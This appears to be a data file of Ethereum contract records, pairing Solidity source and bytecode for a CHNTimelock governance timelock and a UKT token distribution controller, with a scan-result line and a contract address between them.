pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract CHNTimelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; TransactionData[] public txQueues; struct TransactionData { address target; uint256 value; string signature; bytes data; uint256 eta; bytes32 txHash; } constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; TransactionData memory txData = TransactionData({ target: target, value: value, signature: signature, data: data, eta: eta, txHash: txHash }); txQueues.push(txData); emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransactionWithID(uint256 id) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); TransactionData memory queueData = txQueues[id]; queuedTransactions[queueData.txHash] = false; emit CancelTransaction(queueData.txHash, queueData.target, queueData.value, queueData.signature, queueData.data, queueData.eta); } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransactionWithID(uint256 id) public payable returns (bytes memory) { TransactionData memory queueData = txQueues[id]; bytes32 txHash = queueData.txHash; return executeTransaction(queueData.target, queueData.value, queueData.signature, queueData.data, queueData.eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() public view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100fe5760003560e01c80636a42b8f811610095578063b1b43ae511610064578063b1b43ae514610796578063c1a287e2146107ab578063e177246e146107c0578063f2b06537146107ea578063f851a44014610828576100fe565b80636a42b8f81461072d578063796b89b9146107425780637d645fab14610757578063a97fec521461076c576100fe565b8063416b8b1a116100d1578063416b8b1a1461045a5780634dd18bf51461059057806354dfa75d146105c3578063591fcdfe146105e0576100fe565b80630825f38f146101005780630e18b681146102b557806326782247146102ca5780633a66f901146102fb575b005b610240600480360360a081101561011657600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561014557600080fd5b82018360208201111561015757600080fd5b803590602001918460018302840111600160201b8311171561017857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ca57600080fd5b8201836020820111156101dc57600080fd5b803590602001918460018302840111600160201b831117156101fd57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061083d915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027a578181015183820152602001610262565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c157600080fd5b506100fe610d56565b3480156102d657600080fd5b506102df610df2565b604080516001600160a01b039092168252519081900360200190f35b34801561030757600080fd5b50610448600480360360a081101561031e57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561034d57600080fd5b82018360208201111561035f57600080fd5b803590602001918460018302840111600160201b8311171561038057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103d257600080fd5b8201836020820111156103e457600080fd5b803590602001918460018302840111600160201b8311171561040557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e01915050565b60408051918252519081900360200190f35b34801561046657600080fd5b506104846004803603602081101561047d57600080fd5b5035611226565b60405180876001600160a01b03166001600160a01b031681526020018681526020018060200180602001858152602001848152602001838103835287818151815260200191508051906020019080838360005b838110156104ef5781810151838201526020016104d7565b50505050905090810190601f16801561051c5780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561054f578181015183820152602001610537565b50505050905090810190601f16801561057c5780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b34801561059c57600080fd5b506100fe600480360360208110156105b357600080fd5b50356001600160a01b031661138a565b610240600480360360208110156105d957600080fd5b5035611418565b3480156105ec57600080fd5b506100fe600480360360a081101561060357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561063257600080fd5b82018360208201111561064457600080fd5b803590602001918460018302840111600160201b8311171561066557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156106b757600080fd5b8201836020820111156106c957600080fd5b803590602001918460018302840111600160201b831117156106ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506115d6915050565b34801561073957600080fd5b5061044861188c565b34801561074e57600080fd5b50610448611892565b34801561076357600080fd5b50610448611897565b34801561077857600080fd5b506100fe6004803603602081101561078f57600080fd5b503561189e565b3480156107a257600080fd5b50610448611bd8565b3480156107b757600080fd5b50610448611bdf565b3480156107cc57600080fd5b506100fe600480360360208110156107e357600080fd5b5035611be6565b3480156107f657600080fd5b506108146004803603602081101561080d57600080fd5b5035611cdb565b604080519115158252519081900360200190f35b34801561083457600080fd5b506102df611cf0565b6000546060906001600160a01b031633146108895760405162461bcd60e51b8152600401808060200182810382526038815260200180611e3b6038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156108f85781810151838201526020016108e0565b50505050905090810190601f1680156109255780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610958578181015183820152602001610940565b50505050905090810190601f1680156109855780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff1697506109f696505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611f8e603d913960400191505060405180910390fd5b826109ff611892565b1015610a3c5760405162461bcd60e51b8152600401808060200182810382526045815260200180611edd6045913960600191505060405180910390fd5b610a4f836212750063ffffffff611cff16565b610a57611892565b1115610a945760405162461bcd60e51b8152600401808060200182810382526033815260200180611eaa6033913960400191505060405180910390fd5b6000818152600360205260409020805460ff191690558451606090610aba575083610b47565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b60208310610b0f5780518252601f199092019160209182019101610af0565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b60208310610b865780518252601f199092019160209182019101610b67565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610be8576040519150601f19603f3d011682016040523d82523d6000602084013e610bed565b606091505b509150915081610c2e5760405162461bcd60e51b815260040180806020018281038252603d815260200180612071603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610cab578181015183820152602001610c93565b50505050905090810190601f168015610cd85780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610d0b578181015183820152602001610cf3565b50505050905090810190601f168015610d385780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610d9f5760405162461bcd60e51b8152600401808060200182810382526038815260200180611fcb6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610e4b5760405162461bcd60e51b815260040180806020018281038252603681526020018061203b6036913960400191505060405180910390fd5b610e65600254610e59611892565b9063ffffffff611cff16565b821015610ea35760405162461bcd60e51b81526004018080602001828103825260498152602001806120ae6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610f12578181015183820152602001610efa565b50505050905090810190601f168015610f3f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f72578181015183820152602001610f5a565b50505050905090810190601f168015610f9f5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529181528151602092830120600081815260039093529120805460ff191660011790559850610fe39750611d609650505050505050565b506040805160c0810182526001600160a01b03898116825260208083018a8152938301898152606084018990526080840188905260a08401869052600480546001810180835560009290925285517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b600690920291820180546001600160a01b0319169190961617855595517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c87015590518051949591948694936110cc937f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d01920190611da2565b50606082015180516110e8916003840191602090910190611da2565b506080820151816004015560a08201518160050155505050876001600160a01b0316827f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f89898989604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561117d578181015183820152602001611165565b50505050905090810190601f1680156111aa5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156111dd5781810151838201526020016111c5565b50505050905090810190601f16801561120a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3509695505050505050565b6004818154811061123357fe5b6000918252602091829020600691909102018054600180830154600280850180546040805161010096831615969096026000190190911692909204601f81018890048802850188019092528184526001600160a01b03909416965090949192918301828280156112e45780601f106112b9576101008083540402835291602001916112e4565b820191906000526020600020905b8154815290600101906020018083116112c757829003601f168201915b5050505060038301805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529495949350908301828280156113745780601f1061134957610100808354040283529160200191611374565b820191906000526020600020905b81548152906001019060200180831161135757829003601f168201915b5050505050908060040154908060050154905086565b3330146113c85760405162461bcd60e51b81526004018080602001828103825260388152602001806120036038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6060611422611d60565b6004838154811061142f57fe5b60009182526020918290206040805160c08101825260069390930290910180546001600160a01b03168352600180820154848601526002808301805485516101009482161594909402600019011691909104601f81018790048702830187018552808352949592949386019391929091908301828280156114f15780601f106114c6576101008083540402835291602001916114f1565b820191906000526020600020905b8154815290600101906020018083116114d457829003601f168201915b505050918352505060038201805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529382019392918301828280156115855780601f1061155a57610100808354040283529160200191611585565b820191906000526020600020905b81548152906001019060200180831161156857829003601f168201915b5050505050815260200160048201548152602001600582015481525050905060008160a0015190506115ce8260000151836020015184604001518560600151866080015161083d565b949350505050565b6000546001600160a01b0316331461161f5760405162461bcd60e51b8152600401808060200182810382526037815260200180611e736037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561168e578181015183820152602001611676565b50505050905090810190601f1680156116bb5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156116ee5781810151838201526020016116d6565b50505050905090810190601f16801561171b5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156117e65781810151838201526020016117ce565b50505050905090810190601f1680156118135780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561184657818101518382015260200161182e565b50505050905090810190601f1680156118735780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b425b90565b62278d0081565b6000546001600160a01b031633146118e75760405162461bcd60e51b8152600401808060200182810382526037815260200180611e736037913960400191505060405180910390fd5b6118ef611d60565b600482815481106118fc57fe5b60009182526020918290206040805160c08101825260069390930290910180546001600160a01b03168352600180820154848601526002808301805485516101009482161594909402600019011691909104601f81018790048702830187018552808352949592949386019391929091908301828280156119be5780601f10611993576101008083540402835291602001916119be565b820191906000526020600020905b8154815290600101906020018083116119a157829003601f168201915b505050918352505060038201805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152938201939291830182828015611a525780601f10611a2757610100808354040283529160200191611a52565b820191906000526020600020905b815481529060010190602001808311611a3557829003601f168201915b505050505081526020016004820154815260200160058201548152505090506000600360008360a00151815260200190815260200160002060006101000a81548160ff02191690831515021790555080600001516001600160a01b03168160a001517f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf878360200151846040015185606001518660800151604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611b36578181015183820152602001611b1e565b50505050905090810190601f168015611b635780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611b96578181015183820152602001611b7e565b50505050905090810190601f168015611bc35780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a35050565b6202a30081565b6212750081565b333014611c245760405162461bcd60e51b81526004018080602001828103825260318152602001806120f76031913960400191505060405180910390fd5b6202a300811015611c665760405162461bcd60e51b8152600401808060200182810382526034815260200180611f226034913960400191505060405180910390fd5b62278d00811115611ca85760405162461bcd60e51b8152600401808060200182810382526038815260200180611f566038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b600082820183811015611d59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6040518060c0016040528060006001600160a01b0316815260200160008152602001606081526020016060815260200160008152602001600080191681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611de357805160ff1916838001178555611e10565b82800160010185558215611e10579182015b82811115611e10578251825591602001919060010190611df5565b50611e1c929150611e20565b5090565b61189491905b80821115611e1c5760008155600101611e2656fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820703aa4732b15784839d5d1ab8c8b842cbd037ab88275695be570879d3721477364736f6c63430005110032
{"success": true, "error": null, "results": {}}
9,536
0xa94f6fc384ca2cab02eb1dd6a9efc43e43dd6dfb
pragma solidity ^0.4.21; /** * @title AddressTools * @dev Useful tools for address type */ library AddressTools { /** * @dev Returns true if given address is the contract address, otherwise - returns false */ function isContract(address a) internal view returns (bool) { if(a == address(0)) { return false; } uint codeSize; // solium-disable-next-line security/no-inline-assembly assembly { codeSize := extcodesize(a) } if(codeSize > 0) { return true; } return false; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public potentialOwner; event OwnershipRemoved(address indexed previousOwner); event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyPotentialOwner() { require(msg.sender == potentialOwner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address of potential new owner to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransfer(owner, newOwner); potentialOwner = newOwner; } /** * @dev Allow the potential owner confirm ownership of the contract. */ function confirmOwnership() public onlyPotentialOwner { emit OwnershipTransferred(owner, potentialOwner); owner = potentialOwner; potentialOwner = address(0); } /** * @dev Remove the contract owner permanently */ function removeOwnership() public onlyOwner { emit OwnershipRemoved(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } /** * @dev Powers the first number to the second, throws on overflow. */ function pow(uint a, uint b) internal pure returns (uint) { if (b == 0) { return 1; } uint c = a ** b; assert(c >= a); return c; } /** * @dev Multiplies the given number by 10**decimals */ function withDecimals(uint number, uint decimals) internal pure returns (uint) { return mul(number, pow(10, decimals)); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; uint256 public totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title ERC223 interface * @dev see https://github.com/ethereum/EIPs/issues/223 */ contract ERC223 is ERC20 { function transfer(address to, uint256 value, bytes data) public returns (bool); event ERC223Transfer(address indexed from, address indexed to, uint256 value, bytes data); } /** * @title UKTTokenBasic * @dev UKTTokenBasic interface */ contract UKTTokenBasic is ERC223, BurnableToken { bool public isControlled = false; bool public isConfigured = false; bool public isAllocated = false; // mapping of string labels to initial allocated addresses mapping(bytes32 => address) public allocationAddressesTypes; // mapping of addresses to time lock period mapping(address => uint32) public timelockedAddresses; // mapping of addresses to lock flag mapping(address => bool) public lockedAddresses; function setConfiguration(string _name, string _symbol, uint _totalSupply) external returns (bool); function setInitialAllocation(address[] addresses, bytes32[] addressesTypes, uint[] amounts) external returns (bool); function setInitialAllocationLock(address allocationAddress ) external returns (bool); function setInitialAllocationUnlock(address allocationAddress ) external returns (bool); function setInitialAllocationTimelock(address allocationAddress, uint32 timelockTillDate ) external returns (bool); // fires when the token contract becomes controlled event Controlled(address indexed tokenController); // fires when the token contract becomes configured event Configured(string tokenName, string tokenSymbol, uint totalSupply); event InitiallyAllocated(address indexed owner, bytes32 addressType, uint balance); event InitiallAllocationLocked(address indexed owner); event InitiallAllocationUnlocked(address indexed owner); event InitiallAllocationTimelocked(address indexed owner, uint32 timestamp); } /** * @title Basic controller contract for basic UKT token * @author Oleg Levshin <levshin@ucoz-team.net> */ contract UKTTokenController is Ownable { using SafeMath for uint256; using AddressTools for address; bool public isFinalized = false; // address of the controlled token UKTTokenBasic public token; // finalize function type. One of two values is possible: "transfer" or "burn" bytes32 public finalizeType = "transfer"; // address type where finalize function will transfer undistributed tokens bytes32 public finalizeTransferAddressType = ""; // maximum quantity of addresses to distribute uint8 internal MAX_ADDRESSES_FOR_DISTRIBUTE = 100; // list of locked initial allocation addresses address[] internal lockedAddressesList; // fires when tokens distributed to holder event Distributed(address indexed holder, bytes32 indexed trackingId, uint256 amount); // fires when tokens distribution is finalized event Finalized(); /** * @dev The UKTTokenController constructor */ function UKTTokenController( bytes32 _finalizeType, bytes32 _finalizeTransferAddressType ) public { require(_finalizeType == "transfer" || _finalizeType == "burn"); if (_finalizeType == "transfer") { require(_finalizeTransferAddressType != ""); } else if (_finalizeType == "burn") { require(_finalizeTransferAddressType == ""); } finalizeType = _finalizeType; finalizeTransferAddressType = _finalizeTransferAddressType; } /** * @dev Sets controlled token */ function setToken ( address _token ) public onlyOwner returns (bool) { require(token == address(0)); require(_token.isContract()); token = UKTTokenBasic(_token); return true; } /** * @dev Configures controlled token params */ function configureTokenParams( string _name, string _symbol, uint _totalSupply ) public onlyOwner returns (bool) { require(token != address(0)); return token.setConfiguration(_name, _symbol, _totalSupply); } /** * @dev Allocates initial ICO balances (like team, advisory tokens and others) */ function allocateInitialBalances( address[] addresses, bytes32[] addressesTypes, uint[] amounts ) public onlyOwner returns (bool) { require(token != address(0)); return token.setInitialAllocation(addresses, addressesTypes, amounts); } /** * @dev Locks given allocation address */ function lockAllocationAddress( address allocationAddress ) public onlyOwner returns (bool) { require(token != address(0)); token.setInitialAllocationLock(allocationAddress); lockedAddressesList.push(allocationAddress); return true; } /** * @dev Unlocks given allocation address */ function unlockAllocationAddress( address allocationAddress ) public onlyOwner returns (bool) { require(token != address(0)); token.setInitialAllocationUnlock(allocationAddress); for (uint idx = 0; idx < lockedAddressesList.length; idx++) { if (lockedAddressesList[idx] == allocationAddress) { lockedAddressesList[idx] = address(0); break; } } return true; } /** * @dev Unlocks all allocation addresses */ function unlockAllAllocationAddresses() public onlyOwner returns (bool) { for(uint a = 0; a < lockedAddressesList.length; a++) { if (lockedAddressesList[a] == address(0)) { continue; } unlockAllocationAddress(lockedAddressesList[a]); } return true; } /** * @dev Locks given allocation address with timestamp */ function timelockAllocationAddress( address allocationAddress, uint32 timelockTillDate ) public onlyOwner returns (bool) { require(token != address(0)); return token.setInitialAllocationTimelock(allocationAddress, timelockTillDate); } /** * @dev Distributes tokens to holders (investors) */ function distribute( address[] addresses, uint[] amounts, bytes32[] trackingIds ) public onlyOwner returns (bool) { require(token != address(0)); // quantity of addresses should be less than MAX_ADDRESSES_FOR_DISTRIBUTE require(addresses.length < MAX_ADDRESSES_FOR_DISTRIBUTE); // the array of addresses should be the same length as the array of amounts require(addresses.length == amounts.length && addresses.length == trackingIds.length); for(uint a = 0; a < addresses.length; a++) { token.transfer(addresses[a], amounts[a]); emit Distributed(addresses[a], trackingIds[a], amounts[a]); } return true; } /** * @dev Finalizes the ability to use the controller and destructs it */ function finalize() public onlyOwner { if (finalizeType == "transfer") { // transfer all undistributed tokens to particular address token.transfer( token.allocationAddressesTypes(finalizeTransferAddressType), token.balanceOf(this) ); } else if (finalizeType == "burn") { // burn all undistributed tokens token.burn(token.balanceOf(this)); } require(unlockAllAllocationAddresses()); removeOwnership(); isFinalized = true; emit Finalized(); } }
0x6060604052600436106100e25763ffffffff60e060020a600035041663144fa6d781146100e757806315ef29c31461011a57806348d26dd1146101af5780634bb278f3146101d45780634c6c8bc3146101e9578063516d70c3146102b85780637762df25146102d75780638d4e4083146103065780638da5cb5b146103195780638eeb7d111461032c578063a3624b721461034b578063b79098981461035e578063c1b58f6c1461042d578063d5d1e77014610440578063d99bb9f714610453578063e02c7e1f14610466578063f2fde38b1461048e578063fc0c546a146104ad575b600080fd5b34156100f257600080fd5b610106600160a060020a03600435166104c0565b604051901515815260200160405180910390f35b341561012557600080fd5b61010660046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650509335935061054192505050565b34156101ba57600080fd5b6101c26106b0565b60405190815260200160405180910390f35b34156101df57600080fd5b6101e76106b6565b005b34156101f457600080fd5b6101066004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061098c95505050505050565b34156102c357600080fd5b610106600160a060020a0360043516610b25565b34156102e257600080fd5b6102ea610c0d565b604051600160a060020a03909116815260200160405180910390f35b341561031157600080fd5b610106610c1